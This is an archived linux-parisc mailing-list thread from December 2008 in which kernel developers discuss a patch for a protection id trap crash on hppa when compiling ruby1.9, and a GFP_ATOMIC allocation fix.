         AKPsE05PUuDT+RS0U/UmSxXndoYiRbwuaMFa8nDJJH58FI4Onim15ubTCg41vdDFBOTj
         urUlgG51+9Iw6SkZSBClxMAYM1jXg6rxqMmyg=
Original-Received: by 10.90.83.18 with SMTP id g18mr832443agb.53.1229564790717;
        Wed, 17 Dec 2008 17:46:30 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Wed, 17 Dec 2008 17:46:30 -0800 (PST)
In-Reply-To: <4949812D.7080608@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: ba2fbade8e40a4af
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/963>

On Wed, Dec 17, 2008 at 5:46 PM, Helge Deller <deller@gmx.de> wrote:
> The attached patch simply adds the lookup for a fixup handler when trap
> #27 (protection id trap) happens in kernel space. This was missing in
> the code path for trap #27 which is why the kernel then called
> die_if_kernel() and crashed.
>
> Even with this patch ruby1.9 may fail to compile, but at least the
> kernel crashes are gone.
>
> Any feedback welcome.

Can we avoid copying code from do_page_fault and just call do_page_fault?

Shouldn't a data protection id trap on a userspace address cause
do_page_fault to be called which triggers the lookup and transfer to
the exception table location?

Why aren't we doing this in the data protection id trap case?

I remember testing this for the compare-and-swap kernel LWS, in
particular calling with an invalid address, where the kernel must load
a userspace address, possibly fault, and jump to the exception
location to return EFAULT as the error for the compare-and-swap.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling ruby1.9
Date: Wed, 17 Dec 2008 21:02:35 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <119aab440812171802o4cb2837dt168092caf7c633da@mail.gmail.com>
References: <4949812D.7080608@gmx.de>
	 <119aab440812171746x5c3ec853x87b7f4a6ca12dba@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229565769 1332 80.91.229.12 (18 Dec 2008 02:02:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 02:02:49 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 03:03:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD8Ey-0001w3-LC
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 03:03:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750696AbYLRCCi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 21:02:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750746AbYLRCCi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 21:02:38 -0500
Original-Received: from yw-out-2324.google.com ([74.125.46.30]:38770 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750696AbYLRCCh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 21:02:37 -0500
Original-Received: by yw-out-2324.google.com with SMTP id 9so88526ywe.1
        for <linux-parisc@vger.kernel.org>; Wed, 17 Dec 2008 18:02:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=MxAzApoCAj2MIATuo6jrs104wpePxh/27ZaWtpRqLaI=;
        b=p0GPyYxFDTbp1rhsvAJehTD32D9uRQIeot46wmxLuvQvfW1aCXZ9K0qiT0QDu0o5Hq
         vQ2QN4DjS48FJow/qaaTGTPjEPs5HDaFl3imP5k6oVdxpOz0zEq0umnHeqztLKeK0/A0
         dIL8tqvgzR6XleKlxkg3eLQrhM1ZJbPcqb9Es=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=PFHIQjAnT0wkkFxUsAzOB6njaGhAtTFf24UREO8q/HvQqwQmOU8WZXxu8WhJOVL72s
         zy+TiTqnOvjq0e2ktdHvn9ro3VSEQSLgfx6JU/FdJYZdBUiQNeaQ5jQQg8BZV51U+BaY
         bPoHqpkQrjhdNJ1jeyAqms4ZFMCMM5zfjdKks=
Original-Received: by 10.90.69.7 with SMTP id r7mr822356aga.102.1229565755789;
        Wed, 17 Dec 2008 18:02:35 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Wed, 17 Dec 2008 18:02:35 -0800 (PST)
In-Reply-To: <119aab440812171746x5c3ec853x87b7f4a6ca12dba@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 858ef5df58c4d92c
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/964>

On Wed, Dec 17, 2008 at 8:46 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Wed, Dec 17, 2008 at 5:46 PM, Helge Deller <deller@gmx.de> wrote:
>> The attached patch simply adds the lookup for a fixup handler when trap
>> #27 (protection id trap) happens in kernel space. This was missing in
>> the code path for trap #27 which is why the kernel then called
>> die_if_kernel() and crashed.
>>
>> Even with this patch ruby1.9 may fail to compile, but at least the
>> kernel crashes are gone.
>>
>> Any feedback welcome.
>
> Can we avoid copying code from do_page_fault and just call do_page_fault?
>
> Shouldn't a data protection id trap on a userspace address cause
> do_page_fault to be called which triggers the lookup and transfer to
> the exception table location?
>
> Why aren't we doing this in the data protection id trap case?

I went all the way back to 2.6.0 and the code is still the same.

We must never have generated a protection id trap against user
addresses while in the kernel, otherwise we would have noticed this
sooner.

I think your code is correct and necessary.

However! I think you should not duplicate code. Please split out this
"bit" of code into a function in mm/fault.c and call it from
handle_interruption.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
	compiling ruby1.9
Date: Wed, 17 Dec 2008 21:36:07 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20081218023607.GC30438@bombadil.infradead.org>
References: <4949812D.7080608@gmx.de> <119aab440812171746x5c3ec853x87b7f4a6ca12dba@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229567782 5581 80.91.229.12 (18 Dec 2008 02:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 02:36:22 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 03:37:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD8lR-0001rq-UG
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 03:37:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750746AbYLRCgL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 21:36:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750947AbYLRCgK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 21:36:10 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:43454 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750746AbYLRCgK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 21:36:10 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LD8kB-0004fF-Pn; Thu, 18 Dec 2008 02:36:07 +0000
Content-Disposition: inline
In-Reply-To: <119aab440812171746x5c3ec853x87b7f4a6ca12dba@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:965
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/965>

On Wed, Dec 17, 2008 at 08:46:30PM -0500, Carlos O'Donell wrote:
> On Wed, Dec 17, 2008 at 5:46 PM, Helge Deller <deller@gmx.de> wrote:
> > The attached patch simply adds the lookup for a fixup handler when trap
> > #27 (protection id trap) happens in kernel space. This was missing in
> > the code path for trap #27 which is why the kernel then called
> > die_if_kernel() and crashed.
> >
> > Even with this patch ruby1.9 may fail to compile, but at least the
> > kernel crashes are gone.
> >
> > Any feedback welcome.
> 
> Can we avoid copying code from do_page_fault and just call do_page_fault?
> 
> Shouldn't a data protection id trap on a userspace address cause
> do_page_fault to be called which triggers the lookup and transfer to
> the exception table location?
> 

Yes, it could just fall through in this case, but I don't think that's
necessarily correct either.

> Why aren't we doing this in the data protection id trap case?
> 
> I remember testing this for the compare-and-swap kernel LWS, in
> particular calling with an invalid address, where the kernel must load
> a userspace address, possibly fault, and jump to the exception
> location to return EFAULT as the error for the compare-and-swap.
> 

Indeed, there's something more sinister going on.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Wed, 17 Dec 2008 22:02:13 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca>
References: <20081218004329.GB30438@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229569363 8754 80.91.229.12 (18 Dec 2008 03:02:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 03:02:43 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 04:03:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD9Ah-0007Ta-SH
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 04:03:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751302AbYLRDCQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 22:02:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751328AbYLRDCQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 22:02:16 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3531 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751302AbYLRDCP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 22:02:15 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5CABB4E99; Wed, 17 Dec 2008 22:02:13 -0500 (EST)
In-Reply-To: <20081218004329.GB30438@bombadil.infradead.org> from "Kyle McMartin" at Dec 17, 2008 07:43:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:966
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/966>

> Eh? r22 is 0020fd0e... although it's easier to spot by looking at IOR
> > >  IIR: 0ed5d240    ISR: 00000847  IOR: 0020fd0e

Obviously, I can't count...

> Although, I don't think we're supposed to ever be taking a P. Id trap on
> a userspace process as the kernel...

Ok, should P and/or D be on?

Assuming the protection id isn't wrong, then the WD bit must be on.
A problem with the WD bit might explain Helge's comment.

As a start, dumping CR 8, 9, 12 and 13 might help debug the problem.

There might be a problem restoring access IDs after a cache purge or
TLB insertion.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Wed, 17 Dec 2008 22:05:47 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20081218030547.GD30438@bombadil.infradead.org>
References: <20081218004329.GB30438@bombadil.infradead.org> <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229569564 9093 80.91.229.12 (18 Dec 2008 03:06:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 03:06:04 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 04:07:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD9E8-0007Ta-Eo
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 04:07:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750774AbYLRDFu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 22:05:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751302AbYLRDFu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 22:05:50 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35311 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750774AbYLRDFt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 22:05:49 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LD9Ct-00049f-V8; Thu, 18 Dec 2008 03:05:47 +0000
Content-Disposition: inline
In-Reply-To: <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:967
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/967>

On Wed, Dec 17, 2008 at 10:02:13PM -0500, John David Anglin wrote:
> > Although, I don't think we're supposed to ever be taking a P. Id trap on
> > a userspace process as the kernel...
> 
> Ok, should P and/or D be on?
> 
> Assuming the protection id isn't wrong, then the WD bit must be on.
> A problem with the WD bit might explain Helge's comment.
> 
> As a start, dumping CR 8, 9, 12 and 13 might help debug the problem.
> 
> There might be a problem restoring access IDs after a cache purge or
> TLB insertion.
> 

I'm starting a build of ruby now, with some debugging gunk added
to dump the pid %crs, we'll see how it goes in a few hours...

re, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Wed, 17 Dec 2008 23:04:00 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20081218040400.GE30438@bombadil.infradead.org>
References: <20081218004329.GB30438@bombadil.infradead.org> <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229573096 16353 80.91.229.12 (18 Dec 2008 04:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 04:04:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 05:06:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDA8V-0002z6-5w
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 05:05:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750875AbYLREEE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 23:04:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750927AbYLREEE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 23:04:04 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49635 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750875AbYLREED (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 23:04:03 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDA7E-0001md-JB; Thu, 18 Dec 2008 04:04:00 +0000
Content-Disposition: inline
In-Reply-To: <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/968>

On Wed, Dec 17, 2008 at 10:02:13PM -0500, John David Anglin wrote:
> > Eh? r22 is 0020fd0e... although it's easier to spot by looking at IOR
> > > >  IIR: 0ed5d240    ISR: 00000847  IOR: 0020fd0e
> 
> Obviously, I can't count...
> 
> > Although, I don't think we're supposed to ever be taking a P. Id trap on
> > a userspace process as the kernel...
> 
> Ok, should P and/or D be on?
> 

Huh... Possibly the P-bit shouldn't be on for kernel mode... the kernel
after all can scribble on whomevers pages it so chooses...

> Assuming the protection id isn't wrong, then the WD bit must be on.
> A problem with the WD bit might explain Helge's comment.
> 
> As a start, dumping CR 8, 9, 12 and 13 might help debug the problem.
> 

Building a patch to do this now, will attach it here if it builds.

> There might be a problem restoring access IDs after a cache purge or
> TLB insertion.
> 

I honestly have no idea how the protection id registers are loaded... I
thought it had something do with with space registers, but I can't
remember off the top of my head.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
	compiling ruby1.9
Date: Thu, 18 Dec 2008 02:03:40 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20081218070340.GF30438@bombadil.infradead.org>
References: <4949812D.7080608@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229583832 6576 80.91.229.12 (18 Dec 2008 07:03:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 07:03:52 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 08:04:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDCwK-00045S-Mi
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 08:04:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750820AbYLRHDm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 02:03:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751280AbYLRHDm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 02:03:42 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48337 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750820AbYLRHDl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 02:03:41 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDCv6-0002DU-PI; Thu, 18 Dec 2008 07:03:40 +0000
Content-Disposition: inline
In-Reply-To: <4949812D.7080608@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:969
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/969>

On Wed, Dec 17, 2008 at 11:46:05PM +0100, Helge Deller wrote:
> The Debian bugzilla has a long thread about kernel crashes when
> compiling ruby1.9 on hppa. This kernel bug led even to discussions if
> hppa should be dropped for lenny.
> See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478717 for details.
> 
> It's really easy to reproduce the bug, and it generates this backtrace
> (interestingly two backtraces):
> 

When does it die? My ruby1.9 is building through to the tests (where
it's hanging without crashing...)

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix BUG: sleeping function called from invalid context
 at mm/slab.c:3044
Date: Thu, 18 Dec 2008 18:23:26 +0800
Lines: 40
Approved: news@gmane.org
Message-ID: <494A249E.9070405@tausq.org>
References: <494983DE.2050105@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229595827 6780 80.91.229.12 (18 Dec 2008 10:23:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 10:23:47 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 11:24:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDG3l-00011g-JW
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 11:24:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751300AbYLRKXe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 05:23:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751328AbYLRKXe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 05:23:34 -0500
Original-Received: from ti-out-0910.google.com ([209.85.142.188]:18197 "EHLO
	ti-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751300AbYLRKXd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 05:23:33 -0500
Original-Received: by ti-out-0910.google.com with SMTP id b6so215273tic.23
        for <linux-parisc@vger.kernel.org>; Thu, 18 Dec 2008 02:23:32 -0800 (PST)
Original-Received: by 10.110.31.5 with SMTP id e5mr2581195tie.31.1229595811927;
        Thu, 18 Dec 2008 02:23:31 -0800 (PST)
Original-Received: from ?192.168.100.76? (ip127.bb146.pacific.net.hk [202.64.146.127])
        by mx.google.com with ESMTPS id i6sm441567tid.36.2008.12.18.02.23.30
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 18 Dec 2008 02:23:30 -0800 (PST)
User-Agent: Thunderbird 2.0.0.18 (Windows/20081105)
In-Reply-To: <494983DE.2050105@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/970>

i knew there was a reason why this was a stack variable before... ;-) 
(of course, that is not ideal either)

randolph

Helge Deller wrote:
> Since unwind_frame_init_from_blocked_task() may be called from
> interrupt/in_atomic context, it needs to kmalloc() memory with
> GFP_ATOMIC instead of GFP_KERNEL.
> 
> This fixes this warning (ShowTasks called from sysrq handler):
> 
> BUG: sleeping function called from invalid context at mm/slab.c:3044
> in_atomic(): 1, irqs_disabled(): 1, pid: 2119, name: miniruby
> Backtrace:
>  [<10132e78>] __might_sleep+0x4c/0x118
>  [<1018f644>] kmem_cache_alloc+0x2c/0xb4
>  [<1011bae0>] unwind_frame_init_from_blocked_task+0x30/0xa0
>  [<1010fd3c>] parisc_show_stack+0x3c/0xac
>  [<10132c7c>] show_state_filter+0x80/0xd8
>  [<102f4074>] __handle_sysrq+0xd0/0x1b0
>  [<102f9558>] receive_chars+0x22c/0x318
>  [<102f9940>] serial8250_handle_port+0x40/0x88
>  [<102f9a8c>] serial8250_interrupt+0x104/0x10c
>  [<10161920>] handle_IRQ_event+0x44/0x94
>  [<10161acc>] __do_IRQ+0x15c/0x1dc
>  [<102c442c>] superio_interrupt+0x74/0xa8
